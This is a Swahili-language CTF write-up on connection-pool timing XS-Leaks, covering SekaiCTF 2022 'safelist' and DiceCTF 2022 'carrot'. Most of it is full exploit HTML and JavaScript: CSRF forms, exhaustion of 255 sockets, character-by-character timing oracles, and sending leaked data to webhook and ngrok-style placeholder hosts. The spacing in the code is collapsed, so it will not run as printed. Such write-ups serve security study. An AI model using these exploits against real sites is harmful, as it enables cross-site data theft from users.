Katika changamoto ya Sekaictf2022 - safelist, @Strellic_ anatoa mfano wa jinsi ya kutumia mabadiliko ya tekneka ya Pool ya Uunganisho kufanya XS-Leak.
Katika changamoto hii, lengo ni kuiba bendera ambayo itaonekana katika kikao cha wavuti cha bots ndani ya chapisho. Hizi ni mali ambazo mshambuliaji anazo:
Bot atatembelea URL iliyotolewa na mshambuliaji
Mshambuliaji anaweza kuingiza HTML kwenye ukurasa (lakini sio JS, dompurify inatumika) kwa kudanganya CSRF kufanya bot kuunda chapisho na HTML hiyo.
Mshambuliaji anaweza kutumia CSRF kufanya botifutechapisho cha kwanza ndani ya wavuti.
Kwa sababu machapisho yamepangwa kwa herufi, wakati chapisho cha kwanza kinafutwa, ikiwa yaliyomo ya HTML ya mshambuliaji ina jazwa, inamaanisha kuwa ilikuwa kabla ya bendera kwa herufi.
Kwa hivyo, ili kuiba bendera, suluhisho lililopendekezwa na @Strellyc_ ni, kwa kila herufi ya kujaribu, kufanya bot:
Unda chapisho jipya ambalo linaanza na sehemu inayojulikana ya bendera na upakie picha kadhaa.
Futachapisho katika nafasi 0.
Zuia soketi 255.
Pakia ukurasa na machapisho
Fanya ombi 5 la nasibu kwa tovuti (mfano.com katika kesi hii) na pima wakati huu unachukua.
Ikiwa chapisho kilichofutwa kilikuwa bendera, hii inamaanisha kuwa picha zote zilizoingizwa kwenye HTML zitakuwa zikipigana na ombi 5 la nasibu kwa soketi hiyo isiyozuiliwa. Hii inamaanisha kuwa wakati uliopimwa utakuwa mkubwa kuliko hali nyingine.
Ikiwa chapisho kilichofutwa kilikuwa HTML, ombi 5 la nasibu litakuwa haraka kwa sababu halihitaji kupigana na HTML iliyoingizwa kwa soketi hiyo.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
Katika kesi hii hatua ya kwanza ya shambulio ilikuwa kutumia CSRF kubadilisha ukurasa ambapo bendera inapatikana ili uwe na maudhui mengi zaidi (na kwa hivyo kuchukua muda mrefu kuipakia), na kisha tumia mfumo wa uhusiano ili kupima muda inachukua kufikia ukurasa ambao huenda una bendera.
Katika shambulio unaweza kuona:
Kutumia CSRF
Kuchukua soketi zote isipokuwa 1
Kalibisha majibu
Anza kuvunja kwa kufikia ukurasa unaoweza kuwa na bendera
Ukurasa unaoweza kuwa na bendera utafikiwa na mara moja URL inayodhibitiwa na mshambuliaji pia itafikiwa ili kuangalia muda unaotumiwa na maombi yote mawili.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {// slowlet url1 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`let t1 =awaittimeit(url1,WINBG)console.log(`slow:${t1}`)// fastlet url2 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`let t2 =awaittimeit(url2,WINBG)console.log(`fast:${t2}`)returnr((t1 + t2) /2)});}constexploit=async(flag ='') => {console.log('Starting')// dont go to fast plz :)console.log(`waiting 3s`)awaitsleep(3000)// exaust socketsawaitexhaust_sockets()awaitsleep(2000)LOG=`Calibrating`TIMELIMIT=awaitcalibrate()LOG=`TIMELIMIT:${TIMELIMIT}`console.log(`timelimit:${TIMELIMIT}`)awaitsleep(2000)let last;while (true) {last =awaitbrute(flag);if (last ===false) {return flag;}else {flag += last;output.innerText = flag;if(last ==='}'){return flag}}}}constpopunder= () => {if (window.opener) {WINBG=window.opener}else {WINBG=window.open(location.href, target="_blank")location =`about:blank`}}constcsrf=async () => {x.action =`https://carrot-${INSTANCE}.mc.ax/edit/0`x.title.value ="A".repeat(1000000)x.submit()}window.onload= () => {let p =newURL(location).searchParams;if(!p.has('i')){console.log(`no INSTANCE`)return}INSTANCE=p.get('i')// step 1if(p.has('csrf')){csrf()return}// step 2if (p.has('exploit')) {// window open is ok in headless :)popunder()exploit('dice{')}}</script>